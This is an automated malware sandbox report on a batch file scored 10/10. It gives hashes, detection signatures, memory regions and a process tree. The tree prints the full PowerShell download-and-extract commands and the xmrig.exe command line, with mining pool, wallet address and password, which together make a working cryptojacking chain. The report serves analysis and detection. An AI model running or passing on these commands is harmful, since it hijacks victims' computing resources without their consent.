Analysis

  • max time kernel
    1799s
  • max time network
    1787s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23-12-2023 21:51

General

  • Target

    tesy - Copy (7).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4932
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1840

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    806b8421d017ad5f66129c0c852b3657

    SHA1

    ddfd4229035a4407ea10d6c8b9d8a1b43c7f2e2f

    SHA256

    817cd9bc9061f2c3e05768a20878d82f4091f2bb31b7a101755448ada9d70475

    SHA512

    971044b3f870bba9cfdd61287aead891201a9d9e2e20d78a064e0c65d82ab0314f8ff4e3725e37fe171c0db7c604693a58ca58deb97c3865310cb292c8a784aa

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2dmr5f5v.gvw.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    269KB

    MD5

    8cb2c09a6009fc7d3db45c8df5917efb

    SHA1

    640e14abc16b20fc0ea277339cb7ee92c45e706b

    SHA256

    d41e2e50c6151e477a1908f59c94d50aac306f80d28a230268a0e245bec70590

    SHA512

    9ce024d19685a6099e7545506a404ca5ef3589b61e62e6250651a1da26f4b300a3622b1ec167694f53ced5f3c6cec1b5be9014608745f7ef27da3095c02e1d73

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    118KB

    MD5

    6c3d1392b36a6ef4daa8527a8b2f1b32

    SHA1

    087beaa3cc0cedead9621bea8dba75469031512d

    SHA256

    9bfc2a4bf58e33729c5d9ab7da168f88e57834a43349a113c313e49ce1a69d39

    SHA512

    ea466d9b3a091318c66ad4cb30d83b7cfeb28e83ae5e48117bcfbac616a1b263d40cab497d1aaaa5592382062c29372ec95a00d2b3ea0c9ae02b87450d1c9044

  • memory/164-4-0x0000025BD1D40000-0x0000025BD1D62000-memory.dmp

    Filesize

    136KB

  • memory/164-5-0x00007FF92A720000-0x00007FF92B10C000-memory.dmp

    Filesize

    9.9MB

  • memory/164-6-0x0000025BD1DC0000-0x0000025BD1DD0000-memory.dmp

    Filesize

    64KB

  • memory/164-7-0x0000025BD1DC0000-0x0000025BD1DD0000-memory.dmp

    Filesize

    64KB

  • memory/164-10-0x0000025BEA070000-0x0000025BEA0E6000-memory.dmp

    Filesize

    472KB

  • memory/164-25-0x0000025BD1DC0000-0x0000025BD1DD0000-memory.dmp

    Filesize

    64KB

  • memory/164-30-0x00007FF92A720000-0x00007FF92B10C000-memory.dmp

    Filesize

    9.9MB

  • memory/1840-142-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-147-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-184-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-183-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-182-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-181-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-180-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-117-0x000001CED7AC0000-0x000001CED7AE0000-memory.dmp

    Filesize

    128KB

  • memory/1840-118-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-120-0x000001CED7B00000-0x000001CED7B20000-memory.dmp

    Filesize

    128KB

  • memory/1840-119-0x000001CED7AE0000-0x000001CED7B00000-memory.dmp

    Filesize

    128KB

  • memory/1840-121-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-122-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-123-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-125-0x000001CED7B00000-0x000001CED7B20000-memory.dmp

    Filesize

    128KB

  • memory/1840-124-0x000001CED7AE0000-0x000001CED7B00000-memory.dmp

    Filesize

    128KB

  • memory/1840-126-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-127-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-128-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-129-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-130-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-131-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-132-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-133-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-134-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-135-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-136-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-137-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-138-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-139-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-140-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-141-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-116-0x000001CED7820000-0x000001CED7840000-memory.dmp

    Filesize

    128KB

  • memory/1840-143-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-144-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-145-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-146-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-179-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-148-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-149-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-150-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-151-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-152-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-153-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-154-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-155-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-156-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-157-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-158-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-159-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-160-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-161-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-162-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-163-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-164-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-165-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-166-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-167-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-168-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-169-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-170-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-171-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-172-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-173-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-174-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-175-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-176-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-177-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-178-0x00007FF720CA0000-0x00007FF7217A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-37-0x000001D8DDC80000-0x000001D8DDC90000-memory.dmp

    Filesize

    64KB

  • memory/4932-38-0x000001D8DDC80000-0x000001D8DDC90000-memory.dmp

    Filesize

    64KB

  • memory/4932-76-0x000001D8DDC60000-0x000001D8DDC72000-memory.dmp

    Filesize

    72KB

  • memory/4932-89-0x000001D8DDC40000-0x000001D8DDC4A000-memory.dmp

    Filesize

    40KB

  • memory/4932-62-0x000001D8DDC80000-0x000001D8DDC90000-memory.dmp

    Filesize

    64KB

  • memory/4932-36-0x00007FF92A720000-0x00007FF92B10C000-memory.dmp

    Filesize

    9.9MB

  • memory/4932-113-0x00007FF92A720000-0x00007FF92B10C000-memory.dmp

    Filesize

    9.9MB